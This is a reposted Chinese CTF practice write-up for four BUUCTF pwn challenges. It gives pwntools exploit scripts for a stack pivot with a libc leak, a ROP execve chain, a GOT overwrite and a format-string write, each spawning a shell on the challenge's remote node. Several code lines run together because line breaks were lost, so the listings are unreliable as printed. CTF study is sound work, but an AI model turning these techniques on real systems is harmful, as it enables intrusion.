PWN-PRACTICE-BUUCTF-20

PWN-PRACTICE-BUUCTF-20

    • actf_2019_babystack
    • picoctf_2018_can_you_gets_me
    • picoctf_2018_got_shell
    • mrctf2020_easy_equation

actf_2019_babystack

两次栈迁移

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ACTF_2019_babystack")
io=remote("node4.buuoj.cn",25080)
elf=ELF("./ACTF_2019_babystack")
libc=ELF("./libc-2.27-18-x64.so")
leave_ret=0x0000000000400A18
pop_rdi_ret=0x0000000000400ad3
ret=0x0000000000400709
atol_got=elf.got["atol"]
puts_plt=elf.plt["puts"]
main=0x00000000004008F6io.sendlineafter(">","224")io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)#栈上,输入的起始地址
print("stack_addr=="+hex(stack_addr))#payload中最开始的"a"*8是抵消pop rbp
payload="a"*8+p64(pop_rdi_ret)+p64(atol_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)#覆盖正常流程的rbp为输入的起始地址,返回到leave_ret的gadget
io.sendafter(">",payload)
atol_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("atol_addr=="+hex(atol_addr))
libc_base=atol_addr-libc.sym["atol"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()#重复一次上面的操作,这次执行system("/bin/sh"),输入的起始地址改变,需重新获取
io.sendlineafter(">","224")
io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)
print("stack_addr=="+hex(stack_addr))
payload="a"*8+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)
io.sendafter(">",payload)io.interactive()

picoctf_2018_can_you_gets_me

32位elf,静态编译
可用ROPgadget直接形成ROP链

ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain

然后就是栈溢出,ROP

from pwn import *
from struct import pack
#io=process('./PicoCTF_2018_can-you-gets-me')
io=remote('node4.buuoj.cn',25065)
def ROPchain():p = 'a'*(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += '//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return p
payload=ROPchain()
io.recvuntil('GIVE ME YOUR NAME!\n')
io.sendline(payload)
io.interactive()

picoctf_2018_got_shell

32位elf,可以执行一次任意写
在执行完任意写后还有一条puts语句,于是可以通过puts_got修改puts的实际地址为win的地址

from pwn import *
#io=process('./PicoCTF_2018_got-shell')
io=remote('node4.buuoj.cn',29148)
elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
win_addr=elf.sym['win']
io.recvuntil("this 4 byte value?\n")
io.sendline(hex(puts_got))
io.recvuntil("\n")
io.sendline(hex(win_addr))
io.interactive()

mrctf2020_easy_equation

格式化字符串漏洞,将变量judge的值覆写为2,即可满足等式

from pwn import *
#io=process('./mrctf2020_easy_equation')
io=remote('node4.buuoj.cn',27776)
judge=0x60105C
payload='aa%9$naaa'+p64(judge)
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438082.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#.NET Thread多线程并发编程学习与常见面试题解析-1、Thread使用与控制基础

前言&#xff1a;因为平时挺少用到多线程的&#xff0c;写游戏时都在用协程&#xff0c;至于协程那是另一个话题了&#xff0c;除了第一次学习多线程时和以前某个小项目有过就挺少有接触了&#xff0c;最近准备面试又怕被问的深入&#xff0c;所以就赶紧补补多线程基础。网上已…

PWN-PRACTICE-BUUCTF-21

PWN-PRACTICE-BUUCTF-21wdb_2018_2nd_easyfmtciscn_2019_es_1axb_2019_fmt64x_ctf_b0verfl0wwdb_2018_2nd_easyfmt 格式化字符串漏洞 第一次printf通过printf_got将printf的实际地址打印出来&#xff0c;计算libc基地址&#xff0c;得到system的实际地址 第二次printf通过prin…

OpenCR arduino problem list

OpenCR arduino problem list 1、安装 直接使用arduino boardmanager安装&#xff0c;下载很慢&#xff0c;几乎不能成功安装。借鉴http://www.rosclub.cn/post-1037.html&#xff0c;下载需要组件&#xff0c;成功安装。 需要组件opencr_core、opencr_tools、gcc-arm-none-ea…

PWN-PRACTICE-BUUCTF-22

PWN-PRACTICE-BUUCTF-22hitcontraining_unlinkpicoctf_2018_leak_mesuctf_2018_basic pwnaxb_2019_brop64hitcontraining_unlink unlink&#xff0c;参考&#xff1a;[BUUCTF]PWN——hitcontraining_unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("./bam…

javaee, javaweb和javase的区别以及各自的知识体系

JavaSE Java SE 以前称为 J2SE。它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类&#xff0c;并为 Java Platform&#xff0c;Enterprise Edition&#xff08;Java EE&#xff09;提供基础。 JavaE…

PWN-PRACTICE-BUUCTF-23

PWN-PRACTICE-BUUCTF-23gyctf_2020_some_thing_excetingaxb_2019_heap[极客大挑战 2019]Not Badinndy_echogyctf_2020_some_thing_exceting 程序读取了flag到bss段上的0x6020A8地址处 存在uaf漏洞&#xff0c;利用fastbins的LIFO原则&#xff0c;create大小合适的chunk并free …

.NET 实现并行的几种方式(三)

在前两篇随笔中&#xff0c;先后介绍了 Thread 、ThreadPool 、IAsyncResult (即 APM系列) 、Task 、TPL (Task Parallel Library)。 写到这些笔者突然意识到 还有一个EMP系列没有写&#xff0c;在这里补充一下&#xff1a; 六、 EAP 、EAP中的典型代表是 WebClient: EAP系…

PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24cmcc_pwnme1wdb2018_guessoneshot_tjctf_2016gyctf_2020_forcecmcc_pwnme1 栈溢出&#xff0c;ret2libc # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" ioremote("node4.buuoj.cn",27883) elfELF("./…

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前&#xff0c;如果我们使用线程。一般有以下几种方式&#xff1a; 使用System.Threading.Thread 类&#xff0c;调用实例方法Start()开启一个新线程&#xff0c;调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言&#xff1a; 项目中进行Unit Test时&#xff0c;肯定会用到框架&#xff0c;因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多&#xff0c;在这里只是对MS Test和NUnit Test进行一下比较&#xff0c; 因为这两个框架用的较多&#xff0c;也有大虾想过…

PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25wustctf2020_name_your_catciscn_2019_final_2mrctf2020_shellcode_revengezctf2016_note2wustctf2020_name_your_cat 通过数组越界覆写返回地址为后门shell的地址 from pwn import * #ioprocess(./wustctf2020_name_your_cat) ioremote(node4.buuoj.c…

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新&#xff1a;博客新地址&#xff1a;https://www.itbob.cn/ 欢迎关注我的专栏&#xff1a;《个人博客搭建&#xff1a;HexoGithub Pages》&#xff0c;从搭建到美化一条龙&#xff0c;帮你解决 Hexo 常见问题&#xff01; 推荐阅读&#xff1a;《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列&#xff0c;窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

PWN-PRACTICE-BUUCTF-26

PWN-PRACTICE-BUUCTF-26护网杯_2018_gettingstartwustctf2020_number_gamepicoctf_2018_are you rootciscn_2019_en_3护网杯_2018_gettingstart read到buf的时候有溢出&#xff0c;覆写v5为0x7FFFFFFFFFFFFFFF&#xff0c;v6为0x3FB999999999999A from pwn import * ioremote…

最新主流 Markdown 编辑器推荐

Markdown &#xff0c;2004年由 John Gruberis 设计和开发&#xff0c;是一种可以使用普通文本编辑器编写的标记语言&#xff0c;通过简单的标记语法&#xff0c;它可以使普通文本内容具有一定的格式&#xff0c;以下将介绍目前比较流行的一些 Markdown 编辑器&#xff08;排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测&#xff0c;call rdx 跳转过去执行汇编代码&#xff0c;一个\x00必执行失败 于是需要找一条机…

Python3 基础学习笔记 C01【变量和简单数据类型】

CSDN 课程推荐&#xff1a;《8小时Python零基础轻松入门》&#xff0c;讲师齐伟&#xff0c;苏州研途教育科技有限公司CTO&#xff0c;苏州大学应用统计专业硕士生指导委员会委员&#xff1b;已出版《跟老齐学Python&#xff1a;轻松入门》《跟老齐学Python&#xff1a;Django实…

Python3 基础学习笔记 C02【列表】

CSDN 课程推荐&#xff1a;《8小时Python零基础轻松入门》&#xff0c;讲师齐伟&#xff0c;苏州研途教育科技有限公司CTO&#xff0c;苏州大学应用统计专业硕士生指导委员会委员&#xff1b;已出版《跟老齐学Python&#xff1a;轻松入门》《跟老齐学Python&#xff1a;Django实…

PWN-PRACTICE-BUUCTF-28

PWN-PRACTICE-BUUCTF-28wustctf2020_name_your_dogjudgement_mna_2016gyctf_2020_some_thing_interestingxman_2019_formatwustctf2020_name_your_dog Partial RELRO&#xff0c;可修改got表 scanf_got距离Dogs56个字节 当index为-7时&#xff0c;即可改写scanf_got为shell的地…

敏捷开发之Scrum扫盲,及敏捷开发中XP与SCRUM的区别

敏捷开发之Scrum扫盲篇 现在敏捷开发是越来越火了&#xff0c;人人都在谈敏捷&#xff0c;人人都在学习Scrum和XP... 为了不落后他人&#xff0c;于是我也开始学习Scrum&#xff0c;今天主要是对我最近阅读的相关资料&#xff0c;根据自己的理解&#xff0c;用自己的话来讲述S…